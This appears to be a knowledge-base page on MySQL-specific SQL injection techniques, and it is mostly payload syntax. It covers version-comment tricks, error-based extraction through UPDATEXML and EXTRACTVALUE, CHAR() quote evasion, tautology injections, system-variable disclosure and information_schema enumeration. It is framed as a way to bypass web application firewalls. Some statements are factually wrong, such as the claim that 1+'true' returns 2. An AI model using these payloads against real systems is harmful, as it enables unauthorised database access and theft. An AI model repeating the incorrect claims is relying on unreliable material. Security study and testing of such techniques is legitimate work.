MySQL-specific Code

MySQL-specific syntax and techniques for SQL injection

Advanced Techniques Last updated: March 14, 2025
mysql specificspecial syntaxversion compatibility

MySQL-specific Code

MySQL provides several unique syntax features and functions that can be leveraged in SQL injection attacks. Understanding these MySQL-specific techniques can help bypass filters and execute complex injections.

Version-Specific Comments

MySQL supports a special comment syntax that executes code only on specific versions:

/*!50000 SELECT * FROM users */

This will execute SELECT * FROM users only on MySQL version 5.0.0 and higher.

Examples:

-- This executes on MySQL 5.5 and later
/*!55000 SELECT user from mysql.user */

-- This executes on MySQL 5.0 and later
/*!50000 SELECT user from mysql.user */

-- Using it for version detection
SELECT /*!32302 1/0, */ 1 FROM dual
-- If MySQL < 3.23.02, returns 1
-- If MySQL >= 3.23.02, error (division by zero)

MySQL-specific Functions

MySQL offers unique functions not available in other database systems:

FunctionDescription
UPDATEXML()XML manipulation function, useful for error-based injection
EXTRACTVALUE()Extract XML values, also useful for error-based injection
NAME_CONST()Creates a column with a specific name
UUID()Generates a unique ID (retrieves MAC address in older versions)
POLYGON()Geometric function that can crash some MySQL versions
WEIGHT_STRING()Returns the weight string for a string

Error-based Extraction Using MySQL Functions

-- Using UPDATEXML to extract data via errors
AND UPDATEXML(1,CONCAT('~',(SELECT @@version),'~'),1)

-- Using EXTRACTVALUE to extract data via errors
AND EXTRACTVALUE(1,CONCAT('~',(SELECT database()),'~'))

MySQL-specific Variables

MySQL provides system variables prefixed with @@:

SELECT @@version       -- Database version
SELECT @@datadir       -- Data directory
SELECT @@basedir       -- Base directory
SELECT @@socket        -- Socket file path
SELECT @@plugin_dir    -- Plugin directory
SELECT @@hostname      -- Server hostname
SELECT @@tmpdir        -- Temporary directory

MySQL Type Conversions

MySQL’s automatic type conversion can be exploited:

-- String to number conversion
SELECT * FROM users WHERE id = '1 OR 1=1'
-- Converts to: SELECT * FROM users WHERE id = 1

-- Boolean to integer conversion
SELECT 1+'true'  -- Returns 2
SELECT 1+'false' -- Returns 1

MySQL UNION Behavior

MySQL’s UNION behavior has some unique characteristics:

-- MySQL allows columns in UNION to have different data types
SELECT 'string' UNION SELECT 1;  -- Works in MySQL

-- MySQL requires all columns in GROUP_CONCAT to be convertible to string
SELECT GROUP_CONCAT(id) FROM users;

MySQL CHAR Function

Use CHAR to create strings from ASCII values, useful for bypassing filters:

-- Creating the string 'root' without quotes
SELECT CHAR(114, 111, 111, 116);

MySQL Special Features

Other MySQL-specific features useful in injection:

-- Query preprocessing using pipes
SELECT * FROM users WHERE id = 1 || 1=1

-- Session variables
SET @var = 'SELECT * FROM users';
PREPARE stmt FROM @var;
EXECUTE stmt;

-- MySQL specific handlers
DECLARE CONTINUE HANDLER FOR SQLSTATE '23000' SET @x = 1;

MySQL Information Tables

MySQL’s information_schema database provides a wealth of metadata:

-- Find all tables
SELECT table_name FROM information_schema.tables

-- Find all columns for a table
SELECT column_name FROM information_schema.columns WHERE table_name = 'users'

-- Find databases
SELECT schema_name FROM information_schema.schemata

MySQL Specific Injection Techniques

-- Subquery as table
SELECT * FROM (SELECT 1)x

-- Dual table (for expressions)
SELECT 1+1 FROM dual;

-- Aliasing without AS keyword
SELECT 1 a, 2 b FROM dual;

Version-specific Limitations and Features

-- GROUP_CONCAT limited to 1024 characters by default in older versions
SELECT @@group_concat_max_len;  -- Check current limit

-- JSON functions only available in MySQL 5.7+
SELECT JSON_EXTRACT('{"id": 1}', '$.id');  -- Only works in 5.7+

Practical Applications

Using MySQL-specific features can help in:

  • Bypassing WAFs that block standard SQL injection patterns
  • Creating more precise injection payloads
  • Detecting MySQL versions
  • Using error-based techniques specific to MySQL
Back to Knowledge Base